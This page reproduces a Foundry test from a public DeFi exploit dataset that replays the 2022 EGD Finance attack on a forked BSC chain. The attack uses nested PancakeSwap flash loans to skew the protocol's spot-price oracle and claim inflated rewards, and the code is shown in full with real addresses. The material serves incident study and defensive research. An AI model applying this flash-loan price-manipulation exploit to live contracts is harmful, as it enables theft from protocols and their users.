Skip to content
THREATWIRE

Public reproduction file

src/test/2022-08/EGD_Finance_exp.sol

Public reproduction file for dataset entry EGD Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-08/EGD_Finance_exp.sol142 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~36,044 US$
8// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
9// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
10// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)
11// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)
12// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254
16// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8
18// @Analysis
19// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464
20// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776
22IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
23IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
24IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
25address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
26address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
27address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;
29contract Attacker is Test {
30 function setUp() public {
31 vm.createSelectFork("bsc", 20_245_522);
33 vm.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool");
34 vm.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool");
35 vm.label(address(pancakeRouter), "pancakeRouter");
36 vm.label(EGD_Finance, "EGD_Finance");
37 vm.label(usdt, "USDT");
38 vm.label(egd, "EGD");
39 }
41 function testExploit() public {
42 Exploit exploit = new Exploit();
44 console.log("-------------------- Pre-work, stake 100 USDT to EGD Finance --------------------");
45 console.log("Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8");
46 console.log("Attacker Stake 100 USDT to EGD Finance");
48 exploit.stake();
49 vm.warp(1_659_914_146); // block.timestamp = 2022-08-07 23:15:46(UTC)
51 console.log("-------------------------------- Start Exploit ----------------------------------");
52 emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
53 emit log_named_decimal_uint(
54 "[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
55 );
56 emit log_named_decimal_uint(
57 "[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18
58 );
59 console.log("Attacker manipulating price oracle of EGD Finance...");
61 exploit.harvest();
63 console.log("-------------------------------- End Exploit ----------------------------------");
64 emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
65 }
68/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */
69contract Exploit is Test {
70 uint256 borrow1;
71 uint256 borrow2;
73 function stake() public {
74 // Give exploit contract 100 USDT
75 deal(address(usdt), address(this), 100 ether);
76 // Set invitor
77 IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
78 // Stake 100 USDT
79 IERC20(usdt).approve(EGD_Finance, 100 ether);
80 IEGD_Finance(EGD_Finance).stake(100 ether);
81 }
83 function harvest() public {
84 console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
85 borrow1 = 2000 * 1e18;
86 USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
87 console.log("Flashloan[1] payback success");
88 IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // refund all USDT
89 }
91 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
92 if (keccak256(data) == keccak256("0000")) {
93 console.log("Flashloan[1] received");
95 console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
96 borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // Attacker borrows 99.99999925% USDT of EGD_USDT_LPPool reserve
97 EGD_USDT_LPPool.swap(0, borrow2, address(this), "00");
98 console.log("Flashloan[2] payback success");
100 // Swap all egd -> usdt
101 console.log("Swap the profit...");
102 address[] memory path = new address[](2);
103 path[0] = egd;
104 path[1] = usdt;
105 IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
106 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
107 IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp
108 );
110 bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 1e18); // Pancakeswap fee is 0.25%, so attacker needs to pay back usdt >2000/0.9975 (Cannot be exactly 0.25%)
111 require(suc, "Flashloan[1] payback failed");
112 } else {
113 console.log("Flashloan[2] received");
114 emit log_named_decimal_uint(
115 "[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
116 );
117 // -----------------------------------------------------------------
118 console.log("Claim all EGD Token reward from EGD Finance contract");
119 IEGD_Finance(EGD_Finance).claimAllReward();
120 emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
121 // -----------------------------------------------------------------
122 uint256 swapfee = (amount1 * 10_000 / 9970) - amount1; // Attacker needs to pay >0.25% fee back to Pancakeswap
123 bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1 + swapfee);
124 require(suc, "Flashloan[2] payback failed");
125 }
126 }
128/* -------------------- Interface -------------------- */
130interface IEGD_Finance {
131 function bond(
132 address invitor
133 ) external;
134 function stake(
135 uint256 amount
136 ) external;
137 function calculateAll(
138 address addr
139 ) external view returns (uint256);
140 function claimAllReward() external;
141 function getEGDPrice() external view returns (uint256);

Analysis

Dataset entry

Public Foundry test for “EGD Finance” (2022-08-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xee0221d76504aec40f63ad7e36855eebf5ea5edd

  • Attack Contract

    0xc30808d9373093fbfcec9e026457c6a9dab706a7

  • Vulnerable Contract

    0x34bd6dba456bc31c2b3393e499fa10bed32a9370

  • Vulnerable Contract

    0x93c175439726797dcee24d08e4ac9164e88e7aee

  • Attack Tx

    0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

File record

Name
EGD Finance
Path
src/test/2022-08/EGD_Finance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
591bae97d3dfa1d7e0e26308a6e82b0badbe1c2f
Language
Solidity
Size
143 lines
Date
2022-08-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-08/EGD_Finance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 591bae97d3dfa1d7e0e26308a6e82b0badbe1c2f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.